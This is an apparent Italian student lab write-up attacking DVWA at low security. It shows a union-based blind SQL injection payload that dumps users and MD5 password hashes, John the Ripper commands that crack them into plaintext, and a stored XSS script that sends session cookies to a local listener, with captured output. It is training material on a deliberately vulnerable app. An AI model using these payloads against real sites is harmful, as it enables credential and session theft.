



# consegna S6-L5

SQLI blind & XSS stored



# SQLi blind

SQLi blind è una tecnica di attacco informatico in cui un attaccante inserisce un codice SQL malevolo in un'applicazione web attraverso input utente, al fine di ottenere informazioni sensibili dal database. La particolarità di SQLi blind è che l'applicazione web non restituisce direttamente i risultati dell'iniezione SQL ma l'attaccante dovrà recuperare le informazioni tramite altre tecniche

# XSS stored

XSS Stored (Cross-Site Scripting Stored) è una vulnerabilità di sicurezza web in cui un attaccante inserisce script malevoli all'interno di dati immagazzinati su un server web consentendo all'attaccante di eseguire azioni dannose o di rubare informazioni sensibili

---

# set up ambiente

essendo che la consegna di oggi richiedeva di eseguire due attacchi su DVWA settiamo la sicurezza su “low” per iniziare ad impostare il nostro ambiente

## DVWA Security

### Script Security

Security Level is currently **low**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low



Submit

Come primo step ci spostiamo nella pagina SQLI blind ed eseguiamo il seguente comando `"union SELECT group_concat(user),group_concat(password) FROM users--"` il quale ci permettera' di ricevere `username` e `password` della web app sotto forma di hash

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Submit

ID: '%' and 1=0 union select null, concat(user,0x0a,password) from  
First name:  
Surname: admin  
5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null, concat(user,0x0a,password) from  
First name:  
Surname: gordonb  
e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null, concat(user,0x0a,password) from  
First name:  
Surname: 1337  
8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null, concat(user,0x0a,password) from  
First name:  
Surname: pablo  
0d107d09f5bbe40cade3de5c71e9e9b7

ID: '%' and 1=0 union select null, concat(user,0x0a,password) from  
First name:  
Surname: smithy  
5f4dcc3b5aa765d61d8327deb882cf99

More info

utilizzando john the ripper tramite il comando "john --format=raw-md5 --wordlist=/home/kali/Desktop/rockyou.txt hash.txt" trasformiamo in chiaro i risultati salvati precedentemente nel file "hash.txt" e le mostriamo tramite il comando "john --format=raw-md5 --show"

```
kali@kali: ~/Desktop
stat: john: No such file or directory

(kali@kali)~[~/Desktop]
$ john --format=raw-md5 --wordlist=/home/kali/Desktop/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (admin)
abc123         (gordonb)
letmein        (pablo)
charley        (1337)
4g 0:00:00:00 DONE (2024-01-10 16:39) 133.3g/s 102400p/s 102400c/s 153600C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali@kali)~[~/Desktop]
$ john --format=raw-md5 --show /home/kali/Desktop/rockyou.txt hash.txt
Warning: invalid UTF-8 seen reading /home/kali/Desktop/rockyou.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
5 password hashes cracked, 52 left
```



XSS stored



impostiamo il server in ascolto sulla porta 1337 ci spostiamo poi su DVWA per inserire lo script in figura che ci permetterà di raccogliere i cookie di sessione dal web server

```
kali@kali: ~  
  
(kali@kali)-[~]  
$ python -m http.server 1337  
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...  
127.0.0.1 - - [14/Jan/2024 16:40:56] "GET /?security=low;%20PHPSESSID=429bf23941  
edf46ab6fe7015f7a2196a HTTP/1.1" 200 -
```

## vulnerability: stored cross site scripting (XSS)

Name *	<input type="text" value="Prova"/>
Message *	<div><pre>&lt;script&gt; var img = new Image(); img.src = "http://127.0.0.1:1337/?" + document.cookie; &lt;/script&gt;</pre></div>
	<input type="button" value="Sign Guestbook"/>

come si puo' notare siamo riusciti a recuperare tutti i cookie di sessione raggiungendo cosi' il nostro obbiettivo

```
(kali㉿kali)-[~/Desktop]
$ python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
127.0.0.1 - - [12/Jan/2024 13:14:56] "GET /?cookie=security=low;%20PHPSESSID=c3db4cad61ed7e096e595b716214c5d0 HTTP/1.1" 200 -
127.0.0.1 - - [12/Jan/2024 13:14:57] code 404, message File not found
127.0.0.1 - - [12/Jan/2024 13:14:57] "GET /favicon.ico HTTP/1.1" 404 -
```